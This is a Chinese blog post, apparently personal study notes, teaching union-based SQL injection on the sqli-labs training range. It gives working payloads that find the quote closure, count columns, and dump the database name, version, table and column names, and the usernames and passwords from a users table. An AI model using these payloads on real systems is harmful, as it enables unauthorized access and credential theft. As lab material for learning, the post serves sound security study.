1. 程式人生 > 其它 >滲透學習筆記(三)--SQL注入學習(一)

滲透學習筆記(三)--SQL注入學習(一)

@

目錄

使用靶場為sqli靶場
例題為GET - Error based - Single quotes - String(基於錯誤的GET單引號字元型注入)

sql注入常見攻擊思路

  1:尋找到SQL注入的位置

  2:判斷伺服器型別和後臺資料庫型別

  3:針對不同的伺服器和資料庫特點進行SQL注入攻擊

常見流程

  1. 首先判斷sql語句閉合方式

常見的閉合方式:
id = 'input_id'
id = ('input_id')
id = "input_id"
id = ("input_id")

判斷方法:
使用'或者"來進行判斷,如果輸入?id=1'

報錯,那就是單引號閉合,"類似。

如上圖,'報錯。

  1. 判斷回顯列數
    使用order by子句判斷返回的列數。
    ?id=1' order by 5 %23

%23#的url編碼,用來註釋掉另一個'
order by 5發現報錯
繼續嘗試
發現order by 3正常

  1. 判斷返回格式:

id=-1' union select 1,2,3 %23

發現2和3被回顯。

知道返回的列名之後,就可以執行後繼的操作和查詢各種資料了。

例如user()查詢使用者名稱,detabase()查詢當前的資料庫名,version()查詢資料庫版本

id=-1' union select 1,database(),version() %23

  1. 查詢出當前資料庫所有的表名

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

其中group_concat()是用來把資料在一行中打印出來。
information_schema是mysql特有的庫,儲存各種資料庫的資訊

  1. 注入出某一個表中的全部列名
    id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') %23
  1. 獲得欄位內容

id=-1' union select 1,2,(select group_concat(Password) from users) %23

id=-1' union select 1,2,(select group_concat(username) from users) %23

本文來自作者:CK_0ff,轉載請註明原文連結:https://www.cnblogs.com/Ck-0ff/p/15815533.html